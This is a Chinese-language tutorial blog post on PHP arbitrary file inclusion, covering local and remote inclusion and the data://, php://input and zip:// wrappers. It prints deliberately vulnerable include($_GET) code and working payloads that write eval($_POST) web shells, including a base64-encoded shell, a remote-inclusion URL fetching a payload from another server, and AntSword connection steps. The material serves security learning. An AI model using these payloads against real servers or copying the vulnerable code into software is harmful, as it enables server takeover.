Loading [MathJax]/jax/output/CommonHTML/config.js
前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >任意文件包含漏洞(1)

任意文件包含漏洞(1)

作者头像
宸寰客
发布于 2020-08-25 08:09:17
发布于 2020-08-25 08:09:17
1.3K00
代码可运行
举报
文章被收录于专栏:yuancao博客yuancao博客
运行总次数:0
代码可运行

目录
  • 原理
  • 分类
  • 危害
  • 包含的函数
  • 本地文件包含
  • 远程文件包含
  • 利用方式
    • 无文件包含方法
    • 有文件包含方法
  • 1.伪协议
    • 1.data
    • 2.php://input
    • 3.zip://伪协议

首先要说明的一点是:文件包含不是漏洞,任意文件包含才是漏洞

原理

文件包含漏洞:即file inclusion 指当服务器开启allow_url_include选项时,就可以通过PHP的某些特性函数(include(),require()include_once(),requir_once()),去包含任意文件。此时如果对文件来源不严格过滤审查,就容易包含恶意文件。而攻击者可以通过构造这个恶意文件来达到目的。

1、文件包含即程序通过包含函数调用本地或远程文件,以此来实现拓展功能 2、被包含的文件可以是各种文件格式,而当文件里面包含恶意代码,则会形成远程命令执行或文件上传漏洞。 3、文件包含漏洞主要发生在有包含语句的环境中,例如PHP所具备的include、require等函数

分类

LFI:local fileinclude 本地文件包含漏洞,被包含的文件在服务器本地

RFI:remote file include 远程文件包含漏洞,被包含的文件在第三方服务器(如站库分离)

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
远程文件包含漏洞是因为开启了PHP配置中的allow_url_fopen选项,选项开启之后,服务器允许包含一个远程文件,服务器通过PHP特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可以去包含一个恶意文件,而我们可以构造这个恶意文件来达到自己的目的。

危害

1.配合文件上传漏洞Getshell (常见图片马中) 2.可执行任意脚本代码 3.可导致网站源码文件及配置文件泄露 4.远程包含GetShell 5.控制整个网站甚至服务器

包含的函数

include() :包含并运行指定文件,当包含外部文件发生错误时,系统会给出警告信息,但整个php文件依旧继续执行

include_once(): 功能如上,但是在执行此函数前会先检测下文件是否被导入过。如果已经执行过就不重复执行

require() : 和include()功能相同,但是如果require()执行有错误,函数会输出错误信息,并终止运行php文件

require_once(): 功能同require(),但会在执行此函数前会先检测下文件是否被导入过。如果已经执行过就不重复执行

本地文件包含

在在网站上有两个文件,11.php,22.php 11.php包含了22.php

1.php

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<?php
$a=$_REQUEST['123'];
include ('2.php');
?>

2.php

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<?php
phpinfo();
?>

所以执行11.php的时候,顺带着把22.php也执行了

当然,现实中不会这么直接就是include ('22.php'),可以通过传递参数 如1.php

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<?php
$a=$_REQUEST['123'];
include ($a);
?>

2.php

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<?php fputs(fopen('cy.php','w'),'<?php eval($_POST[cy])?>');?>

此时,2.php被执行,在同目录下生成了cy.php文件

用蚁剑连接成功

远程文件包含

远程文件包含的注意点: 1). 需要php.ini中allow_url_include = on以及allow_url_fopen=on 2). 所包含远程服务器的文件后缀不能与目标服务器语言相同。 比如: 如果远程服务器是php脚本语言解析,则不能远程包含php文件 如果远程服务器是jsp脚本语言解析,则不能远程包含jsp文件

1.php

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<?php
$a=$_GET['123'];
include ($a);
?>

2.txt

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<?php fputs(fopen('muma.php','w'),'<?php eval($_POST[123])?>');?>

比如上面的1.php在ip地址为123.45.56.78的服务器上;2.txt在ip为234.56.78.91的服务器上——不管ip为234.56.78.9的服务器是php脚本解析还是jsp解析,使用txt后缀总是无错的;本地ip为11.11.11.11(ip纯属乱写)

则可以通过执行http://123.45.56.78/1.php?123=http://234.56.78.9/2.txt,,从而在123.45.56.78的服务器上生成muma.php文件

最后使用蚁剑连接

利用方式

无文件包含方法

网站不能或者不需要上传文件 比如伪协议中的php inputdata中间件的日志文件Session文件mysql……

有文件包含方法

网站可以上传文件 如伪协议中的zip路径长度截断绕过……

1.伪协议

新建一个1.php的文件

1.data

data方式,需要在php.ini里,设置allow_url_fopen =On,allow_url_include =On(PHP < 5.3.0)

造成任意代码执行,在这可以理解成远程文件包含漏洞(RFI),即POST过去PHP代码执行。 用法1:?123=data:text/plain,<?php 执行内容 ?> 用法2:?123=data:text/plain;base64,编码后的php代码

这里演示一下进行base64编码的代码执行

<?php eval($_POST[123])?> PD9waHAgZXZhbCgkX1BPU1RbMTIzXSk/Pg==

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
127.0.0.1/cy/1.php?123=data://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbMTIzXSk/Pg==

使用蚁剑连接

2.php://input

访问请求的原始数据的只读流。即可以直接读取到POST上没有经过解析的原始数据。

需要开启allow_url_include=on,对allow_url_fopen不做要求 php input:只接受post传参 enctype=”multipart/form-data” 的时候 php://input 是无效。

如图同样以1.php文件为例 浏览,并在url上添加?123=php://input

抓包,将get改为post,并在后面添加一句话木马

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<?php fputs(fopen('shell.php','w'), '<?php eval($_POST[123])?>');?>

生成shell.php文件后,使用蚁剑连接

但是,不知道是不是版本的限制,只在虚拟机里成功实现 ,在自己电脑上没有成功实现

3.zip://伪协议

用法:?123=zip://[压缩文件绝对路径]#[压缩文件内的子文件名] ?123=zip://xxx.png#shell.php。

条件: PHP > =5.3.0,注意在windows下测试要5.3.0<PHP<5.4 才可以, 并且 #在浏览器中要编码为%23,否则浏览器默认不会传输特殊字符。

在12345目录下有个1234.php的文件,文件内容:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<php eval($_POST[123])?>

将12345文件打包

127.0.0.1/cy/1.php/123=zip://12345.zip%2312345/1234.php

使用蚁剑连接

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2020/08/23 ,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
任意文件包含漏洞原理解析及演示
本文转自行云博客https://www.xy586.top/ 文章目录 原理 分类 PHP文件包含的函数 伪协议 演示 php://input 伪协议 data://text/plain 伪协议 zip:// 伪协议 原理 文件包含漏洞:即file inclusion,意思是文件包含,是指当服务器开启allow_url_include选项时,就可以通过PHP的某些特性函数(include(),require()和include_once(),requir_once())利用URL去动态包含文件,此时
行云博客
2020/08/24
1.8K0
任意文件包含漏洞原理解析及演示
干货 | 一文了解文件包含漏洞
本公众号提供的工具、教程、学习路线、精品文章均为原创或互联网收集,旨在提高网络安全技术水平为目的,只做技术研究,谨遵守国家相关法律法规,请勿用于违法用途。
网络安全自修室
2022/03/30
2K0
干货 | 一文了解文件包含漏洞
文件包含漏洞原理利用方式及修复
文件包含定义: 服务器执行PHP文件时,可以通过文件包含函数加载另一个文件中的PHP代码,并且当PHP来执行,这会为开发者节省大量的时间。这意味着您可以创建供所有网页引用的标准页眉或菜单文件。当页眉需要更新时,您只更新一个包含文件就可以了,或者当您向网站添加一张新页面时,仅仅需要修改一下菜单文件(而不是更新所有网页中的链接)。造成方便的同时,也留下了隐患。
黑白天安全
2020/03/10
4.3K0
文件包含漏洞原理利用方式及修复
【原创】基础篇--文件包含漏洞总结
服务器通过PHP的特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可以去包含一个恶意文件,而我们可以构造这个恶意文件来达到攻击的目的。
用户6343818
2020/05/26
1.9K0
【原创】基础篇--文件包含漏洞总结
文件包含漏洞与文件包含Bypass漏洞基础
服务器通过PHP的特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可以去包含一个恶意文件,而我们可以构造这个恶意文件来达到攻击的目的。
天钧
2020/03/12
3.3K0
文件包含、PHP伪协议
当使用include()函数包含文件时,只有代码执行到 include() 函数时才将文件包含进来,发生错误时只给出一个警告,继续向下执行。
字节脉搏实验室
2020/12/21
2.8K0
文件包含、PHP伪协议
文件包含漏洞-懒人安全
一.漏洞描述 文件包含漏洞主要是程序员把一些公用的代码写在一个单独的文件中,然后使用其他文件进行包含调用,如果需要包含的文件是使用硬编码的,那么一般是不会出现安全问题,但是有时可能不确定需要包含哪些具体文件,所以就会采用变量的形式来传递需要包含的文件,但是在使用包含文件的过程中,未对包含的变量进行检查及过滤,导致外部提交的恶意数据作为变量进入到了文件包含的过程中,从而导致提交的恶意数据被执行,主要用来绕过waf上传木马文件。 二.漏洞分类 0x01本地文件包含:可以包含本地文件,在条件
奶糖味的代言
2018/04/16
1.6K0
PHP 文件包含漏洞姿势总结
文件包含漏洞的产生原因是在通过 PHP 的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。
信安之路
2018/08/08
4.3K0
PHP 文件包含漏洞姿势总结
文件包含漏洞利用技术总结
开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件,而无需再次编写,这中文件调用的过程一般被称为文件包含。
黑战士
2024/04/15
2080
[PiKaChu靶场通关]文件包含file include
文件包含,是一个功能。在各种开发语言中都提供了内置的文件包含函数,其可以使开发人员在一个代码文件中直接包含(引入)另外一个代码文件。 比如 在PHP中,提供了: include(),include_once() require(),require_once() 这些文件包含函数,这些函数在代码设计中被经常使用到。
李鹏华
2024/03/12
4920
[PiKaChu靶场通关]文件包含file include
文件包含漏洞原理浅探
文件包含是指一个文件里面包含另外一个文件;开发过程中,重复使用的函数会写入单独的文件中,需要使用该函数的时候直接从程序中调用该文件即可,这一个过程就是“文件包含”
Mirror王宇阳
2020/11/12
5410
PHP一些常见的漏洞梳理
以下主要是近期对php一些常见漏洞的梳理,包含php文件包含、php反序列化漏洞以及php伪协议。其中 :
天钧
2020/09/14
4.7K0
PHP一些常见的漏洞梳理
cisp-pte学习笔记之文件包含
开发者在开发的过程中,会将可以重复利用的函数或者代码块写入到单个文件当中,当需要实现某些功能,直接调用对应功能的文件即可,无需重复编写,这种调用文件的过程称之为文件包含
cultureSun
2023/07/24
5100
Web漏洞 | 文件包含漏洞
文件包含漏洞是代码注入的一种。其原理就是注入一段用户能控制的脚本或代码,并让服务器端执行,代码注入的典型代表就是文件包含File inclusion。文件包含可能会出现在jsp、php、asp等语言中。服务器通过函数去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可以去包含一个恶意文件,而我们可以构造这个恶意文件来达到邪恶的目的。常见的文件包含的函数如下 PHP:include() 、include_once()、require()、require_once()、fopen()、readfile() JSP/Servlet:ava.io.file()、java.io.filereader() ASP:include file、include virtual
谢公子
2022/01/19
2.9K0
一文了解文件包含漏洞
例子_GET['filename']参数开发者没有经过严格的过滤,直接带入了include的函数攻击者可以修改_GET['filename']的值,执行非预期的操作
红客突击队
2022/09/29
1.6K0
一文了解文件包含漏洞
网络安全之文件包含漏洞就是这么简单
文件包含漏洞属于代码注入漏洞,为了减少重复代码的编写,引入了文件包含函数,通过文件包含函数将文件包含进来,直接使用包含文件的代码;简单来说就是一个文件里面包含另外一个或多个文件。
Java程序猿
2023/04/26
5030
文件包含漏洞
http://vulnerable/fileincl/example1.php?page=intro.php(该php文件包含LFI本地文件上传漏洞)
h3110_w0r1d
2024/02/19
2050
文件包含漏洞
任意文件包含漏洞(3)——实战某cms
nginx的默认日志文件是phpstudy/nginx/logs/error.log
宸寰客
2020/08/25
1.1K0
任意文件包含漏洞(3)——实战某cms
CTF实战12 任意文件包含漏洞
该培训中提及的技术只适用于合法CTF比赛和有合法授权的渗透测试,请勿用于其他非法用途,如用作其他非法用途与本文作者无关
用户1631416
2018/07/25
1.7K0
php文件包含漏洞分类目录文章标签友情链接联系我们
php文件包含漏洞 基本 相关函数 php中引发文件包含漏洞的通常是以下四个函数: include() include_once() require() require_once() reuqire(
用户1246209
2018/07/18
6970
相关推荐
任意文件包含漏洞原理解析及演示
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验